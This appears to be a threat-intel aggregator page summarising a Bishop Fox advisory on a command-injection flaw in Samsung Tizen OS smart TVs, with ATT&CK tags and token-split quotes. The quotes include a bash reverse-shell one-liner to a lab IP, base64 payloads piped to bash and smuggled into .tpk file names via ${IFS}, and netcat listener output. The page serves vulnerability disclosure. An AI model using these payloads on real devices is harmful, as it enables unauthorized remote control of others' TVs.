TTPwire Vol. 1 · MITRE ATT&CK·Tagged

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Bishop Fox

Samsung Tizen OS | Version Through 9.0

2026-02-24 · Read original ↗

ATT&CK techniques detected

9 predictions
T1059.004Unix Shell
96%
"- d | bash `. tpk " figure 5 – executing encoded payload on the linux vm, the waiting nc listener received the connection, as shown below : $ nc - nvlkp 49087 listening on [ any ] 49087... connect to [ 10. 1. 10. 161 ] from ( unknown ) [ 10. 1. 10. 216 ] 57686 bash : no job contr…"
T1059.004Unix Shell
94%
"##4nyawpiyx ' | base64 $ { ifs } - d | bash ). tpk " figure 11 – exploitation of samsung qn55q60dafxza smart tv as shown below, the reverse shell connected, and bishop fox staff verified that the device was running a build of tizen 8. 0 from february 2025 : $ nc - nvlkp 49087 lis…"
T1059.004Unix Shell
91%
"##ms80ota4nyawpiyx ' | base64 $ { ifs } - d | bash ). tpk " figure 7 – command injection using $ ( ) syntax instead of backticks bishop fox staff found that exploiting the issue via the sdb install command required creating a file on the host pc whose name contained the necessary…"
T1190Exploit Public-Facing Application
88%
"a high - severity remote compromise scenario. however, because the vulnerability undermines a deliberate platform restriction intended to prevent os - level access, and because these devices are widely deployed in shared and business environments, transparency is warranted. publi…"
T1059.004Unix Shell
57%
"new2. tpk ` echo $ { ifs } - n $ { ifs } + ic90bxavczsgcm0gl3rtcc9z | base64 $ { ifs } - d | bash `. tpk 1 file ( s ) pushed. o file ( s ) skipped. figure 13 – running crafted sdb install command after executing the command, the team received a remote shell from the tv on an open…"
T1190Exploit Public-Facing Application
57%
"- thomas wilson, senior consultant, bishop fox ( [ email protected ] ) - ben lincoln, principal consultant, bishop fox ( [ email protected ] ) samsung tizen os through version 9. 0 — vulnerabilities arbitrary command injection tizen os was affected by an arbitrary command injecti…"
T1055.001Dynamic-link Library Injection
55%
"level command injection from the ip address configured as the developer - mode host pc. the owner of a samsung smart tv could exploit this issue to bypass security controls implemented by samsung in their branded tizen os images, including physical smart tvs. in unbranded tizen o…"
T1190Exploit Public-Facing Application
54%
"##64 - encoded version of the following payload, which executed a reverse tcp shell connection to port 49087 on a linux vm with the ip address 10. 1. 10. 161 : bash - i > & / dev / tcp / 10. 1. 10. 161 / 49087 0 > & 1 figure 4 – bash reverse tcp shell one - liner bishop fox staff…"
T1059.004Unix Shell
42%
"##64 - encoded version of the following payload, which executed a reverse tcp shell connection to port 49087 on a linux vm with the ip address 10. 1. 10. 161 : bash - i > & / dev / tcp / 10. 1. 10. 161 / 49087 0 > & 1 figure 4 – bash reverse tcp shell one - liner bishop fox staff…"

Summary

Bishop Fox identified a low-risk command injection flaw in Samsung Tizen OS (through 9.0) that allows OS-level code execution on smart TVs with developer mode enabled. Exploitation requires local access and the configured developer IP. Organizations should disable developer mode or use kiosk mode.